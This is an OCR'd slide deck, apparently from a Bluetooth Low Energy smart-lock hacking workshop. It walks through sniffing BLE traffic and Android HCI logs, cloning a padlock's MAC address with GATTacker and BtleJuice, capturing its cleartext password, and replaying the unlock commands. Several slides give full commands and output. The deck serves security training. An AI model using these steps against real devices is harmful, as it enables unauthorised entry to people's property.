Fr DL NO Bl Bl Bl	ame 105 T: 157, rdic BL uetooth uetooth Opcode: Handle: [UUID Value: [Respon	1: 42 bytes on wir Payload: nordic_b E Sniffer Low Energy Link L L2CAP Protocol Attribute Protoco Write Request (0x 0x002d: Unknown) D: Unknown (0xffd6) 00123456780000000 ise in Prome: 1056]	e (336 bits), 4: le (Nordic BLE S ayer l 12) ]	2 bytes Sniffer	s captured	(336 bits)					





#### Other filters: only specific characteristic

	Expand Subtrees	Shift+Right	e.pcap	
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>G</u> o <u>C</u> apture <u>A</u> nalyze <u>S</u>	Expand All	Ctrl+Right		
🖉 🔳 🖉 🛞 🖿 🗎 🗙 🍯 9	Collapse <u>A</u> ll	Ctrl+Left		
Apply a display filter <ctrl-></ctrl->	Apply as Column			
No. Time Source	Apply as Filter	•	Selected	
1043 106.235403 Master_0x5	Prepare a Filter	•	Not Selected	
1044 106.236690 Slave_0x54	Conversation Filter	•	and Selected	
1045 106.282887 Master_0x5 1046 106.283252 Slave 0x54	Colorize with Filter	•	or Selected	
1047 106.331532 Master_0x5	Follow	•	and not Selected	
1048 106.331769 Slave_0x54 - 1049 106.380300 Master_0x5	Сору	•	or not Selected	
1050 106.380579 Slave_0x54	Show Packet Bytes		26 Empty PDU	
← 1051 106.430273 Master_0x5	Show Facker Bytes	<b>C</b> 1.1.11	42 Sent Write Request,	Handle: 0x00
1052 106.430926 Slave_0x54	Export Packet <u>B</u> ytes	Ctrl+H	26 Empty PDU	
Frame 1051: 42 bytes on wire (3 DLT: 157, Payload: nordic ble (	Wiki Protocol Page			
Nordic BLE Sniffer	Filter Field Reference			
<ul> <li>Bluetooth Low Energy Link Layer</li> <li>Bluetooth L2CAP Protocol</li> </ul>	Protocol Preferences	•		
<ul> <li>Bluetooth Attribute Protocol</li> <li>Decode: Write Decurat (0x12)</li> </ul>	Decode <u>A</u> s			
<ul> <li>Handle: 0x002d: Unknown)</li> </ul>	Go to Linked Packet			
[UUID: Unknown (0xffd6)]	Show Linked Packet in New Window			
[Response in Frame: 1056]			-	
00000 0010 0020 76 06 23 01 3c 00 e9 44 87 54 34 56 78 00 00 Right-	click on UUID	;7 		





#### Specific characteristic: btatt.uuid16 ==

File	Edit View Go Capt	ture <u>A</u> nalyze <u>S</u> tatistics T	elephony <u>W</u> ireless <u>T</u> ool	5 <u>H</u> elp	
		+ ب ا 🚵 🖹		ହ ତ୍ ପ୍	₹ 11
📕 bta	tt.uuid16 == 0xffd6				× 🖘
No. →	Time 919 103.165284 1051 106.430273 1056 106.482434	Source Slave_0x548744e9 Master_0x548744e9 Slave_0x548744e9	Destination Master_0x548744e9 Slave_0x548744e9 Master_0x548744e9	Protocol ATT ATT ATT	Length Info 53 Rcvd Read By Type Response, Attribute List Length: 3, L 42 Sent Write Request, Handle: 0x002d (Unknown: Unknown) 31 Rcvd Write Response, Handle: 0x002d (Unknown: Unknown)
<ul> <li>Fra DL1</li> <li>Nor</li> </ul>	ame 1051: 42 byte F: 157, Payload: rdic BLE Sniffer	s on wire (336 bits), nordic_ble (Nordic Bl	42 bytes captured E Sniffer)	(336 bits)	
► Blu	uetooth Low Energ	y Link Layer			
▼ Blu	Jetooth L2CAP Pro	Protocol			
▶ (	Opcode: Write Req	uest (0x12)			
- 1	Flandie: 0x002d: U [UUID: Unknown	JNKNOWN) (0xffd6)]			
Ň	Value: 0012345678 [Response in Fram	300000000 ne: 1056]			
0000 0010 0020	76 06 23 01 3c 00 e9 44 87 54 34 56 78 00 00	08 06 0a 03 04 3b 8 0e 10 0c 00 04 00 1 00 00 85 d9 db	2 00 37 bd 00 v.#. 2 2d 00 00 12D. 4Vx.	< T	.7





# Filter by handle:

<u>F</u> ile	<u>E</u> dit <u>V</u> iew <u>G</u> o <u>C</u> apt	ture <u>A</u> nalyze <u>S</u> tatistics T	elephony <u>W</u> ireless <u>T</u> ools	<u>H</u> elp							
		🖹 🏹 🔍 🔶 🕈	.↓ ⊨ ≠ 📜	<b>€ Q Q</b>							
📕 bta	tt.handle == 0x002d									$\times$ $\rightarrow$	- Exp
No. ←	Time 919 103.165284 1051 106.430273 1056 106.482434	Source Slave_0x548744e9 Master_0x548744e9 Slave_0x548744e9	Destination Master_0x548744e9 Slave_0x548744e9 Master_0x548744e9	Protocol ATT ATT ATT	Length Info 53 Rcvd 42 Sent 31 Rcvd	Read By Type Write Reques Write Respon	Response, t, Handle: se, Handle	Attribute 0x002d (U : 0x002d (	e List Le Jnknown: ( (Unknown:	ngth: 3, Unknown) Unknown)	Unkno
<pre>&gt; Fra DL1 &gt; Nor &gt; Blu &gt; Blu &gt; Blu &gt; Contemport &gt; Con</pre>	ame 1051: 42 byte F: 157, Payload: rdic BLE Sniffer Jetooth Low Energ Jetooth L2CAP Pro Jetooth Attribute Opcode: Write Req Handle: 0x002d: U [UUID: Unknown Value: 0012345678 [Response in Fram	s on wire (336 bits), nordic_ble (Nordic BL y Link Layer tocol Protocol guest (0x12) (0xffd6)] (0xffd6)] (00000000 me: 1056]	42 bytes captured ( .E Sniffer)	336 bits)							
0000 0010 0020	76 06 23 01 3c 00 e9 44 87 54 34 56 78 00 00	08 06 0a 03 04 3b 8 0e 10 0c 00 04 00 1 00 00 85 d9 db	2 00 37 bd 00 v.#.< 2 2d 00 00 12D.T 4Vx	······································	•••						





# Other useful tip: apply as column

	Expand Subtrees	Shift+Right	re.pcap
File Edit View Go Capture Analyze	<u>E</u> xpand All	Ctrl+Right	
	Collapse <u>A</u> ll	Ctrl+Left	Ĩ
Apply a display filter << Ctrl-/>	Apply as Column		
No.         Time         Source         De           ←         106.43         Master_0x548744e9         Sl           →         106.43         Slave_0x548744e9         Ma           103.16         Slave_0x548744e9         Ma           103.45         Slave_0x548744e9         Ma           106.48         Slave_0x548744e9         Ma           106.48         Slave_0x548744e9         Ma           106.48         Slave_0x548744e9         Ma           104.62         Master_0x548744e9         Ma           104.67         Slave_0x548744e9         Ma           103.55         Slave_0x548744e9         Ma           106.72         Master_0x548744e9         Ma           106.72         Master_0x548744e9         Ma           106.72         Ous5470429         Sl	Apply as Filter Prepare a Filter Conversation Filter Colorize with Filter Follow Copy Show Packet Bytes	4 	t, Handle: 0x002d (Unknown: Unknown) se, Handle: 0x002d (Unknown: Unknown Response, Attribute List Length: 3, tion Response, Handle: 0x002e (Unknow Notification, Handle: 0x0030 (Unknow t, Handle: 0x0031 (Unknown: Unknown: se, Handle: 0x0031 (Unknown: Unknown tion Response, Handle: 0x0031 (Unknow Handle: 0x0034 (Unknown: Unknown)
<pre>&gt; Frame 1051: 42 bytes on wire ( DLT: 157, Payload: nordic_ble &gt; Nordic BLE Sniffer &gt; Bluetooth Low Energy Link Laye &gt; Bluetooth L2CAP Protocol &gt; Bluetooth Attribute Protocol &gt; Opcode: Write Request (0x12) &gt; Handle: 0x002d: Unknown) [UUID: Unknown (0xffd6)] Value: 001234567800000000 [Response in Frame:</pre>	Wiki Protocol Page         Filter Field Reference         Protocol Preferences         Decode As         Go to Linked Packet         Show Linked Packet in New Window	•	
00000 76 06 23 01 3c 08 0010 00 e9 44 87 54 06 0020 34 56 78 00 00 06	t-click on intere	sting	field





# Other useful tip: apply as column

<u>File Edit View Go Capture Analyze Statistics Telephony</u>	<u>W</u> ireless <u>T</u> ools <u>H</u> elp	
≠ Ç. ♦ ♦ ♀ 🔕 🕅 🗂 🗇 🥯 🧕 📕	भ 📃 🖲 و و 🏢	
Apply a display filter <ctrl-></ctrl->		Expre
Nc - Time Source Destination Proto	cc Length Handle Opcode	Info
106.28 Master_0x548744e9 Slave_0x5487 LE L	L 26	Empty PDU
106.28… Slave_0x548744e9 Master_0x548… LE L	L 26	Empty PDU
106.33… Master_0x548744e9 Slave_0x5487… LE L	L 26	Empty PDU
106.33… Slave_0x548744e9 Master_0x548… LE L	L 26	Empty PDU
106.38… Master_0x548744e9 Slave_0x5487… LE l	L 26	Empty PDU
106.38… Slave_0x548744e9 Master_0x548… LE l	L 26	Empty PDU
← 106.43… Master_0x548744e9 Slave_0x5487… ATT	42 0x002d Write Request	Sent Write Request, Handle: 0x002d (Unknown: Unk
106.43… Slave_0x548744e9 Master_0x548… LE l	.L 26 📻 🦷	Empty PDU
106.48… Master_0x548744e9 Slave_0x5487… LE l	.L 26	Empty PDU
•		
▶ Frame 1051: 42 bytes on wire (336 bits), 42 by	tes captured (336 bits)	
DLT: 157, Payload: nordic_ble (Nordic BLE Snif	fer)	
Nordic BLE Sniffer		
Bluetooth Low Energy Link Layer		New useful columns
Bluetooth L2CAP Protocol		
<ul> <li>Bluetooth Attribute Protocol</li> </ul>		
▶ Opcode: Write Request (0x12)		
<ul> <li>Handle: 0x002d: Unknown)</li> </ul>		
[UUID: Unknown (0xffd6)]		
Value: 001234567800000000		
[Response in Frame: 1056]		
0000 76 06 23 01 3c 08 06 0a 03 04 3h 82 00 37	hd 00 v # <	
0010 00 e9 44 87 54 0e 10 0c 00 04 00 12 2d 00	00 12	
0020 34 56 78 00 00 00 00 85 d9 db	4Vx	





## Sorting by the new columns

File	Edit V	iew Go Capture Apaly	ze Statistics Tele	phony Wirele	es Tools Help				
<u>File</u>	<u>Ean</u>		<u>ze s</u> tatistics rete	priori <u>y w</u> ire	ss <u>roots ri</u> etp				
	3	🔘 to 📄 🗙 🄇	]   �, � 🕈 🛶		<b>Q</b> Q Q				
A	pply a dis	play filter <ctrl-></ctrl->							Expression.
No.	Time	Source	Destination	Protocc Lengt	:h Handle	Opcode	Info		
-	106.43	Master_0x548744e9	Slave_0x5487	ATT 4	42 0x002d	Write Request	Sent Write	e Request, Handle	: 0x002d (Unknown: L
	106.48 103.16 103.45	Slave_0x548744e9 Slave_0x548744e9 Slave_0x548744e9	Master_0x548… Master_0x548… Master_0x548…	ATT 3 ATT 5 ATT 3	31 0x002d 53 0x002d,0x0030… 36 0x002e	Write Response Read By Type Response Find Information Response	Rcvd Write Rcvd Read Rcvd Find	e Response, Handle By Type Response, Information Respo	e: 0x002d (Unknown: , Attribute List Ler onse, Handle: 0x002e
	106.48 104.62	Slave_0x548744e9 Master_0x548744e9 Slave_0x548744e9	Master_0x548… Slave_0x5487… Master_0x548	ATT 3 ATT 3	34 0x0030 35 0x0031 31 0x0031	Handle Value Notification Write Request	Rcvd Handl Sent Write	e Value Notificat Request, Handle	tion, Handle: 0x0036 : 0x0031 (Unknown: L e: 0x0031 (Unknown: L
	104.07 103.55 106.72	Slave_0x548744e9 Slave_0x548744e9 Master_0x548744e9	Master_0x548 Master_0x548 Slave_0x5487	ATT 4 ATT 3	40 0x0031,0x0032 33 0x0034	Find Information Response Read Request	Rcvd Find Sent Read	Information Response, Handle Request, Handle:	onse, Handle: 0x0031 0x0034 (Unknown: Ur
•		-				•			•
► F D	rame 10 LT: 157 ordic B	51: 42 bytes on wir , Payload: nordic_b LE Sniffer	e (336 bits), 4 le (Nordic BLE	12 bytes cap Sniffer)	otured (336 bits)				
▶ B	luetoot	h Low Energy Link L	aver						
▶ В	luetoot	h L2CAP Protocol	,						
<b>▼</b> B	luetoot	h Attribute Protoco	1						
Þ	0pcode	: Write Request (0x	(12)						
•	Handle	: 0x002d: Unknown)							
	[UU] Value:	D: Unknown (0xffd6) 00123456780000000	)]						
	LKespo	nse in Frame: 1056							
000 001 002	00 76 0 00 e 20 34 5	06 23 01 3c 08 06 04 9 44 87 54 0e 10 00 66 78 00 00 00 00 85	a 03 04 3b 82 c 00 04 00 12 5 d9 db	00 37 bd 00 2d 00 00 12	v.#.<; D.T 4Vx	7			



#### How do we hack BLE?

#### **Passive sniffing**

Using simple hw is unreliable, easy to loose packets.

Difficult to understand transmission in Wireshark.

- Limited scripting decode pcap, replay packets.
- Can be helpful to diagnose what is happening on link-layer (e.g. Bluetooth encryption)

 Does not require access to device nor smartphone

Limited possibilities to decode encrypted connections (intercept pairing + CrackLE).







# ANDROID HCIDUMP "WHITEBOX" APPROACH





#### How do we hack BLE?







## Android HCI dump – white box approach

Enable Developer options in Android
 About phone->Build number-> tap until "You are now a developer!"
 Settings->Developer options->Enable Bluetooth HCI log
 The file is saved in /sdcard/btsnoop_hci.log
 Readable in Wireshark
 Example file: devices/quicklock/android_hcidump/





#### Host Controller Interface



Linux (BlueZ), Android...

# hcidump







# Hcidump (again)

Dumps commands and data exchanged between host OS and adapter firmware.

You will see only public advertisements and data exchanged with your host.

In case of link-layer encryption, hcidump shows unencrypted data.

Does not dump raw RF packets.





### **BLE-Replay by NCC**

https://github.com/nccgroup/BLE-Replay

Parses hcidump to json, wraps into python BLE client for replay/fuzzing





#### quicklock/android_hcidump/btsnoop_hci.log

<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	<u>G</u> o <u>C</u> apture	<u>A</u> nalyze	<u>S</u> tatisti	cs Telep	hon <u>y W</u> irel	ess <u>T</u> od	ols <u>H</u> elp						
		6		8	<b>Q</b> <	§• •≥	°\$ K§ §		Ð		1				
	otatt												X		Expression
No.	Time		Source			Destinat	ion		Protocol	Lengil	nfo				
← -→ 	6.7425 6.8323 6.8333 6.8700 6.9301	74 301 329 91 17	localhost TexasIns_ TexasIns_ localhost TexasIns_ localhost	() c0:6e:a5 ( c0:6e:a5 ( () c0:6e:a5 (	) )	TexasIns localhos localhos TexasIns localhos	s_c0:6e:a5 st () st () s_c0:6e:a5 st ()	() ()	ATT ATT ATT ATT ATT	17 13 10 12 20	Sent Wr: Rovd Ha Rovd Wr: Sent Rea Rovd Rea	ite Reques ndle Value ite Respor ad Request ad Respons	t, Handle: Notificat: Se, Handle Handle: Handle:	0x002d ion, Ha : 0x002 0x0018 0x0018	(Unknown: ndle: 0x00 d (Unknown (Device In (Device I
F E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E E <p< td=""><td>rame 21 luetoot luetoot luetoot luetoot luetoot Handl Value [Resp</td><td>L6: 17 th th HCI th HCI th L2CA th Attr le: Wri Le: 0x0 0012 0012</td><td>bytes on wir H4 ACL Packet P Protocol ibute Protoc te Request ( 02d (Unknown 345678 n Frame: 219)</td><td>e (136 bit ol 0x12) : Unknown) ]</td><td>s), 17</td><td>bytes cap</td><td>otured (136</td><td>bits)</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></p<>	rame 21 luetoot luetoot luetoot luetoot luetoot Handl Value [Resp	L6: 17 th th HCI th HCI th L2CA th Attr le: Wri Le: 0x0 0012 0012	bytes on wir H4 ACL Packet P Protocol ibute Protoc te Request ( 02d (Unknown 345678 n Frame: 219)	e (136 bit ol 0x12) : Unknown) ]	s), 17	bytes cap	otured (136	bits)							
000	0 02 0 0 <mark>78</mark>	e 00 0	C 00 08 00 04	4 00 12 2	d 00 <mark>00</mark>	12 34 56	 X	4	ŧV						





#### How do we hack BLE?

#### **Passive sniffing**

Using simple hw is unreliable, easy to loose packets.

Difficult to understand transmission in Wireshark.

- Limited scripting decode pcap, replay packets.
- Can be helpful to diagnose what is happening on link-layer (e.g. Bluetooth encryption)
  - Does not require access to device nor smartphone

Limited possibilities to decode encrypted connections (intercept pairing + CrackLE).

#### Android HCI dump

Catches all the packets (of our transmission)

Difficult to understand transmission
 in Wireshark

- Limited scripting decode pcap, replay packets.
- Does not cover link-layer. Only data
   exchanged between Android and BT adapter
- Requires access to smartphone

Even if the connection is encrypted, we have the packets in cleartext (de-/encrypted by adapter)





# THE CAR HACKING AGAIN





#### Sometimes...

We can sniff the link communication, but it is encrypted on GATT layer.

(we see only encrypted hex stream)







# Maybe jamming?



"It's like they designed the protocol itself to stop us from doing this exact thing" Richo Healey, Mike Ryan – Hacking Electric Skateboard, Defcon 23





#### Jamming

Jam just the selected advertising channels

May be useful for an attacker to break ongoing connection – to perform other attacks (e.g. MITM).

But: most devices do not keep constant connections anyway (battery saving).





#### How about active interception?

Man in the Middle:

We will force the mobile app to connect to us, and forward the requests to the car and back!





#### How do we hack BLE?







#### How do we MITM RF?







#### Isolate the signal?







#### Physics...

Bending of a wave around the edges of an opening or an obstacle



#### https://en.wikipedia.org/wiki/Diffraction

https://en.wikipedia.org/wiki/Huygens%E2%80%93Fresnel_principle





# Stronger signal?

More signals?

Class 1 adapter? +8dBm, 100m range

"little difference in range whether the other end of the link is a Class 1 or Class 2 device as the lower powered device tends to set the range limit"

https://en.wikipedia.org/wiki/Bluetooth



And how to handle them in a single system?





#### **Typical connection flow**

Start scanning for advertisements



Advertise

Specific advertisement received, stop scanning

Connect the advertising device (MAC)

Further communication



#### SMARTLOCKPICKING.COM



#### Attack?

Start scanning for advertisements

Specific advertisement received, stop scanning

#### Connect the advertising device (MAC)

**Further communication** 

Advertise more frequently

#### MITM?

Keep connection to original device. It does not advertise while connected ;)





# MITM – what actually works

#### Advertise more frequently

- The victim's mobile will interpret the first advertisement it receives
- Devices usually optimized for longer battery life, advertise less frequently

#### Clone MAC address of targeted device

• Not always necessary, but mostly helpful

#### Keep connected to target device

- Devices do not advertise while connected
- Only one connection at a time accepted
- Usually easy, most connections are short-term
- For constantly-connected: targeted jamming/social engineering/patience...





#### GATTacker – MITM

Open source Node.js Websockets Modular design Json .io website

# **GATTACKER** OUTSMART THE THINGS

#### And a cool logo!





#### **GATTacker - architecture**







## We will use 2 separate boxes







#### Separate boxes

It is possible to run both components on one box (configure BLENO/NOBLE_HCI_DEVICE_ID in config.env).

But it is not very reliable at this moment (kernel-level device mismatches).

Much more stable results on a separate ones.





# On the Kali – edit config to your Raspberry IP

root@kali:~# cd node_modules/gattacker/

root@kali:~/node_modules/gattacker# gedit config.env

Edit BLENO_HCI_DEVICE_ID to your HCI, WS_SLAVE address to match your Raspberry

# "peripheral" device emulator
BLENO_HCI_DEVICE_ID=0
# ws-slave websocket address
WS_SLAVE=127.0.0.1 -> YOUR_IP




### Running the ws-slave (client). Pass: raspberry

SSH to your Raspberry (pi@10.5.5.YOUR_IP)

\$ cd node_modules/gattacker

~/node_modules/gattacker \$ sudo node ws-slave.js

GATTacker ws-slave





#### 1. Scan device to JSON







## Scan for advertisements (Kali)

root@kali:~/node_modules/gattacker# node scan.js

Ws-slave address: <your_slave_ip>

on open

poweredOn

Start scanning.





### Look for "Padlock!" device

advertisement saved: devices/f4b85ec06ea5_Padlock-.adv.json





#### Scan device characteristics

Target device MAC

root@kali:~/node modules/gattacker# node scan f4b85ec06ea5 Ws-slave address: <your slave ip> on open poweredOn Start exploring f4b85ec06ea5 Start to explore f4b85ec06ea5 explore state: f4b85ec06ea5 : start explore state: f4b85ec06ea5 : finished Services file devices/f4b85ec06ea5.srv.json saved!



#### SMARTLOCKPICKING.COM







#### SMARTLOCKPICKING.COM



#### 2. Advertise







#### advertise

root@kali:~/node_modules/gattacker# node advertise.js -h Usage: node advertise -a <FILE> [ -s <FILE> ] [-S] -a, --advertisement=FILE advertisement json file -s, --services=FILE services json file -S, --static static - do not connect to ws-slave/target device -f, --funmode have fun!

display this help

see http://xkcd.com/1692

- --jk
- -h, --help





# MAC SPOOFING





# **Bluetooth MAC address spoofing**

Some mobile applications rely only on advertisement packets, and don't care for MAC address.

But most of them (including this one) do.

It is easy to change Bluetooth adapter MAC using bdaddr tool (part of Bluez)

For some chipsets it may be troublesome.





# MAC spoofing – GATT cache

To optimize connections, mobile OS caches information on characteristics attached to specific handle numbers of a given device (MAC).

Android: /data/misc/bluedroid (need root)

If you spoof MAC with different characteristics <-> handles, the mobile will try to talk to other handle numbers, and will most likely "hang" and disconnect.

GATTacker uses modified version on bleno to clone characteristics 1:1.





# Bdaddr (already in your VM/Raspberry)

root@kali:~/node_modules/gattacker/helpers/bdaddr# make

gcc -c bdaddr.c

gcc -c oui.c

gcc -o bdaddr bdaddr.o oui.o -lbluetooth

# cp bdaddr /usr/local/sbin





#### For the helper script (changing MAC automatically)

Uncomment in config.env

# "peripheral" device emulator

BLENO_HCI_DEVICE_ID=0

ID of your advertising adapter





#### Free the BT interface

In case you have running ws-slave on the same machine, stop it (we will need the BT interface):

```
(...) ws -> close
```

^Croot@kali:~/node_modules/gattacker#

Also stop bluetooth:

root@kali:~/node_modules/gattacker# systemctl stop bluetooth





#### Start device – mac_adv (wrapper to advertise.js)

root@kali:~node_modules/gattacker# ./mac_adv -a
devices/f4b85ec06ea5_Padlock-.adv.json -s devices/f4b85ec06ea5.srv.json
Advertise with cloned MAC address
Manufacturer: Cambridge Silicon Radio (10)
Device address: B0:EC:8F:00:91:0D
New BD address: F4:B8:5E:C0:6E:A5

Address changed - Reset device now Re-plug the interface and hit enter

Re-plug USB adapter



#### SMARTLOCKPICKING.COM



^Croot@kali:~/node modules/gattacker# ./mac adv -a devices/f4b85ec06ea5 Padlock-dv.json -s devices/f4b85ec06ea5.srv.json Advertise with cloned MAC address Ws-slave address: 10.9.8.181 peripheralid: f4b85ec06ea5 advertisement file: devices/f4b85ec06ea5 Padlock-.adv.ison EIR: 0201050302d6ff09095061646c6f636b21 scanResponse: 13ff0000000000000000000000000000000002c31 BLENO - on -> stateChange: poweredOn on open powered0n Noble MAC address : b8:27:eb:4c:88:3d initialized ! Static - start advertising target device connected on -> advertisingStart: success setServices: success **Cleartext password:** Client connected: 57:70:45:97:52:02 12345678 Subscribe: ffd0 -> ffd7 f4b85ec06ea5:ffd0 confirmed subscription state: ffd7 Subscribe: fff0 -> fff2 f4b85ec06ea5:fff0 confirmed subscription state. fff2 180f (Battery Service) -> 2a19 Kattery Level ) : 37 (7) Read: Write: 1805 (Current Time Service) /> 2a2b (Current Time ) : 1734aalf ( 4 ) Read: Write: ffd0 -> ffd6 : 001234567800000000 ( 4Vx Notify: ffd0 -> ffd7 : 01 ( ) 180a (Device Information) -> 2a26 (Firmware Revision String) : 05290101201504282034 () Read: (4) Read: ffd0 -> ffd8 : 03 ( ) Subscribe: ffd0 -> ffda f4b85ec06ea5:ffd0 confirmed subscription state: ffda Read: ffd0 -> ffda : 00 Write: ffd0 -> ffd9 : 🕕 Notify: ffd0 -> ffda : 01 ( Notify: ffd0 -> ffda : target device disconnected





#### Data dump saved in dump/ subfolder

2017.03.24 17:55:10.586	< C   fff0   fff3   01730000000000000000000000000 ( s )	
2017.03.24 17:55:10.930	> R   180f (Battery Service)   2a19 (Battery Level)   50 (P)	
2017.03.24 17:55:11.125	< C   1805 (Current Time Service)   2a2b (Current Time)   fe196820 ( h )	
2017.03.24 17:55:11.386	> R   fff0   fff3   017300000000000000000000000000 ( s ) )	
2017.03.24 17:55:11.597	< C   ffd0   ffd6   0012345678 ( 4Vx)	
2017.03.24 17:55:11.639	> N   ffd0   ffd7   01 ( ) 🔪	
2017.03.24 17:55:11.772	> R   180a (Device Information)   2a26 (Firmware Revision String)   05290101201504282034 ( )     ( 4	I)
2017.03.24 17:55:12.042	> R   ffd0   ffd8   03 ( )	
2017.03.24 17:55:12.773	> R   ffd0   ffda   00 ( )	
2017.03.24 17:55:14.702	< C   ffd0   ffd9   01 ( )	
2017.03.24 17:55:14.744	> N   ffd0   ffda   01 ( )	
2017.03.24 17:55:17.908	> N   ffd0_  ffda   00 ( )	

**Cleartext password** 

Example file: quicklock/gattacker/dump





### Replay – and the lock opens

\$ sudo node replay.js -i dump/f4b85ec06ea5.log -s

devices/f4b85ec06ea5.srv.json -p f4b85ec06ea5

```
root@s v4 # node replay.js -i dump/f4b85ec06ea5.log -s devices/f4b85ec06ea5.srv.json -p f4b85ec06ea5
Ws-slave address: 127.0.0.1
on open
powered0n
Noble MAC address : dc:53:60:d7:43:43
initialized !
READ: 50 --- skip
WRITE CMD: fe196820
     0173000000000000000000000000000000 --- skip
WRITE CMD: 0012345678
NOTIFICATION: 01 --- skip
READ: 05290101201504282034 --- skip
READ: 03 --- skip
READ: 00 --- skip
WRITE CMD: 01
NOTIFICATION: 01 --- skip
NOTIFICATION: 00 --- skip
```





# Replay using nRF Connect mobile app

#### https://github.com/securing/gattacker/wiki/Dump-and-replay

#### nRF Connect:



#### nRF Connect for Mobile

Nordic Semiconductor ASA Tools

3 PEGI 3

O This app is compatible with all of your devices.

https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp





### Macros functionality

nRF Connect: macros documentation:

<u>https://github.com/NordicSemiconductor/Android-nRF-</u> <u>Connect/tree/master/documentation/Macros</u>

GATTacker howto export:

https://github.com/securing/gattacker/wiki/Dump-andreplay





### Convert GATTacker log to nRF XML macro

# node gattacker2nrf -i dump/f4b85ec06ea5.log >
quicklock_replay.xml

Already converted file:

quicklock/nrf_connect_macro/quicklock.xml



#### SMARTLOCKPICKING.COM



E 💿 🔭 🕷 🕐 7:15	🖬 🖻 💿 🔭 🕷 🕐 7:15	🖬 🖥 💿 🔭 🕷 🕐 7:30	🖬 🖪 💿 🔭 🕷 🕐 7:15
$\equiv$ Devices STOP SCANNING :			
SCANNER BONDED ADVERTISER	ER BONDED ADVERTISER PADLOCKI	ER BONDED ADVERTISER F4:BB:5E:C0:6E:A5	ER BONDED ADVERTISER PADLOCK!
NOT BONDED	CONNECTED CLIENT SERVER	CONNECTED CLIENT SERVER	CONNECTED CLIENT SERVER
GATTack.io (Eddystone™) F6:AD:07:C5:56:66 NOT BONDED ▲-84 dBm ↔ N/A	Generic Access UUID: 0x1800 PRIMARY SERVICE	Generic Attribute UUID: 0x1801 PRIMARY SERVICE	Generic Access UUID: 0x1800 PRIMARY SERVICE
Smartlock     CONNECT       F0:C7:7F:16:2E:8B     ▲-80 dBm       NOT BONDED     ▲-80 dBm	Generic Attribute UUID: 0x1801 PRIMARY SERVICE	Device Information UUID: 0x180A PRIMARY SERVICE	Generic Attribute Macros
BO3972C3A81E!         CONNECT           D0:39:72:C3:A8:1E	Device Information UUID: 0x180A PRIMARY SERVICE	Battery Service UUID: 0x180F PRIMARY SERVICE	Quicklock unlock default pass
N/A         CONNECT           48:09:EC:AC:2E:AB         → 30 ms	Battery Service UUID: 0x180F PRIMARY SERVICE	Current Time Service UUID: 0x1805 PRIMARY SERVICE	<ul> <li>gattacker write replay</li> <li>gattacker read replay</li> </ul>
CONNECT :	Current Time Service UUID: 0x1805 PRIMARY SERVICE	Unknown Service UUID: 0000ffd0-0000-1000-8000-00805f9b34fb PRIMARY SERVICE	<ul> <li>gattacker write replay</li> <li>gattacker read replay</li> <li>gattacker read replay</li> </ul>
NOT BONDED ▲-59 dBm ↔ 30 ms Padlock! CONNECT	Unknown Service UUID: 0000ffd0-0000-1000-8000-00805f9b34fb PRIMARY SERVICE	Macros	smartlock resetpass
► 4:B8:5E:CU:6E:A5 NOT BONDED	Unknown Service	6 items	smartlock reset pars and unlock





# BTLEJUICE





# Introducing BtleJuice by Damien Cauquil

https://github.com/DigitalSecurity/btlejuice

https://speakerdeck.com/virtualabs/btlejuice-the-bluetooth-smart-mitm-framework

#### https://en.wikipedia.org/wiki/Multiple_discovery

The concept of multiple discovery (also known as simultaneous invention) is the hypothesis that most scientific discoveries and inventions are made independently and more or less simultaneously by multiple scientists and inventors.





### BtleJuice – run "proxy"

Install (already in your Kali/Raspberry)

root@kali:~# npm install -g btlejuice

Run "proxy" module:

root@kali:~# hciconfig hci0 up

root@kali:~# btlejuice-proxy

[i] Using interface hci0

[info] Server listening on port 8000





#### **BtleJuice interface**

root@kali:~/# btlejuice -u <YOUR_PROXY_IP> -w

E.g.

root@kali:~/# btlejuice -u 127.0.0.1 -w

Open <a href="http://localhost:8080">http://localhost:8080</a> in browser



#### SMARTLOCKPICKING.COM



	BtleJuice - Bluetooth Low Energy	MitM	- Mozilla Firefox			(	00	
BtleJuice - Bluetooth Lo	× +							
( i   localhost:8080/#		C	<b>Q</b> , Search	5	☆│自	+		Select target device
🛅 Most Visited 🔻 👖 Offensi	ve Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools	Ex.	ploit-DB 📡Aircrack	k-ng				
BtleJuice	Double-click on an item to proxify the corresponding device					₿	* *	
Action					ta		Select	
	GATTack.io						target	
	-71dBm							
	energy-35611D							
	00:12:6f:35:61:1d -90dBm							
	LockECFE7E139F95							
	ec:fe:7e:13:9f:95 -69dBm							
	EST							
	dc:c2:99:2c:3e:17 -90dBm							
	D0207202401EL							
	d0:39/203A61E! d0:39:72:c3:a8:1e				/			
	-609RW						Choose	e "Padlock!"
	Padlock! f4:b8:5e:c0:6e:a5							
	-59dBm						,	





BtleJuice - Bluetooth Lo ×       +			BtleJuice - Bluetooth Low Energy	MitM - Mozilla Firefox	•••
Icalhost:8080/#       C       Search       Ich       Ich<	BtleJuice	- Bluetooth Lo × +			
Most Visited v       Moffensive Security       Kali Linux       Kali Docs       Kali Tools       Exploit-DB       Aircrack-ng         BtleJuice       Image: Constraint of the security       Kali Linux       Kali Docs       Kali Tools       Exploit-DB       Aircrack-ng         Action       Service       Characteristic       Data         write       fff0       fff3       02 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00	( <b>{</b> ) ()   loc	alhost:8080/#		C Search ☆ 🖻 🔍	+ ☆ =
BtleJuice         Image: Characteristic service         Data           Action         Service         Characteristic         Data           write         fff0         fff3         02 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00	🛅 Most Visit	ted 🔻 🛐 Offensive Security	🔍 Kali Linux 🌂 Kali Docs 🌂 Kali Tools	🔝 Exploit-DB 📡 Aircrack-ng	
Action         Service         Characteristic         Data           write         fff0         fff3         02 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00	BtleJuice	3			B * *
